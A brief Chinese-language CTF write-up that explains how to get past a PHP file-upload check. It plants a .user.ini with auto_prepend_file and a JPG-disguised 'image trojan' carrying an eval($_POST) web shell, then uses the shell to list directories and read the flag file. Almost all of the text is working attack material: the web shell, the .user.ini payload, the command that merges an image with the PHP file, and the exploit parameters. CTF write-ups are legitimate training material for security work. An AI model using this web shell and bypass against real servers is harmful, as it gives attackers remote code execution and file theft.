考察点: .user.ini 文件绕过
exif_imagetype() 文件头校验
解题
- 构造.user.ini文件
GIF89a
auto_prepend_file=l3ef.jpg
- 构造jpg文件
<script language="php">eval($_POST['l3ef']);phpinfo();</script>
制作图片马
copy background.jpg/a + l3ef.php/b l3ef.jpg
-
分别上传文件,显示上传路径
image.png
-
访问index.php,默认会访问.user.ini中的文件
image.png
-
读取文件目录
l3ef=var_dump(scandir("/"));
![](https://img.haomeiwen.com/i13761511/38fa4cd11a204c71.png)
读取文件
l3ef=var_dump(file_get_contents("/flag"));
![](https://img.haomeiwen.com/i13761511/c6ace79d22c9632e.png)
网友评论